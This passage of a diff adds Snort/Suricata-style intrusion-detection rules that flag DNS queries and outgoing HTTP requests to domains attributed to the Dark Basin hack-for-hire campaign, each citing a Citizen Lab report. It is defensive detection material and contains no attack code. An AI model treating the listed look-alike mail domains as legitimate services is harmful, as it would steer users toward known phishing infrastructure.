reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailsecureservers.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|mailsecureservers|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355002; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailsecureservers.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailsecureservers.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailsecureservers\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355003; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355051; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355052; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355053; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353811; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353812; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserver89.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserver89.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserver89\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353813; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353791; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353792; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserver89.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserver89.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserver89\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353793; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353781; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserver89.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserver89|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353782; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserver89.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserver89.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserver89\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353783; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserverdirect3994.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailserverdirect3994|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355041; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserverdirect3994.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailserverdirect3994|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355042; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserverdirect3994.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserverdirect3994.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserverdirect3994\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355043; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserverenterprise.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailserverenterprise|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354371; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserverenterprise.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|mailserverenterprise|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354372; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserverenterprise.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserverenterprise.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserverenterprise\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354373; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailservereurope|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356761; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailservereurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailservereurope|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356762; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailservereurope.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailservereurope.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailservereurope\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356763; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserveroutlook.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|mailserveroutlook|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355011; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserveroutlook.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|mailserveroutlook|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355012; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserveroutlook.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserveroutlook.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserveroutlook\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355013; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserverru2099.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailserverru2099|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354451; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserverru2099.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|mailserverru2099|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354452; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserverru2099.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserverru2099.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserverru2099\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354453; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailservershare.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailservershare|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354381; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailservershare.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|mailservershare|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354382; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailservershare.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailservershare.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailservershare\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354383; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserveruk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353571; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|mailserveruk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353572; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserveruk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserveruk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserveruk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353573; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353851; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353852; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserveruk89.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserveruk89.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserveruk89\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353853; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|net|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353831; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.net"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|net|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353832; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserveruk89.net"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserveruk89.net"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserveruk89\.net[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353833; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353821; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserveruk89.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|mailserveruk89|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353822; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserveruk89.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserveruk89.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserveruk89\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353823; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailserviceloginonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|mailserviceloginonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355091; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailserviceloginonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|mailserviceloginonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355092; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailserviceloginonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailserviceloginonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailserviceloginonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355093; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailtickr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mailtickr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354111; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailtickr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mailtickr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354112; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailtickr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailtickr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailtickr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354113; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mailtransferserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|mailtransferserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354561; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mailtransferserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|mailtransferserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354562; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mailtransferserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mailtransferserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mailtransferserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354563; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: maxlaboratories.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|maxlaboratories|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357041; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: maxlaboratories.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|maxlaboratories|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357042; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: maxlaboratories.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"maxlaboratories.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])maxlaboratories\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357043; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mblk1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|mblk1|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353861; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mblk1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|mblk1|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353862; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mblk1.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mblk1.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mblk1\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353863; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mgrsr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|mgrsr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357511; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mgrsr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|mgrsr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357512; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mgrsr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mgrsr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mgrsr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357513; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: minrsrvr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|minrsrvr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357421; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: minrsrvr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|minrsrvr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357422; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: minrsrvr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"minrsrvr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])minrsrvr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357423; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mnrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mnrsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357381; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mnrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|mnrsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357382; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mnrsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mnrsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mnrsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357383; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mrgrhr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|mrgrhr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357461; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mrgrhr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|mrgrhr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357462; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mrgrhr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mrgrhr.com"; 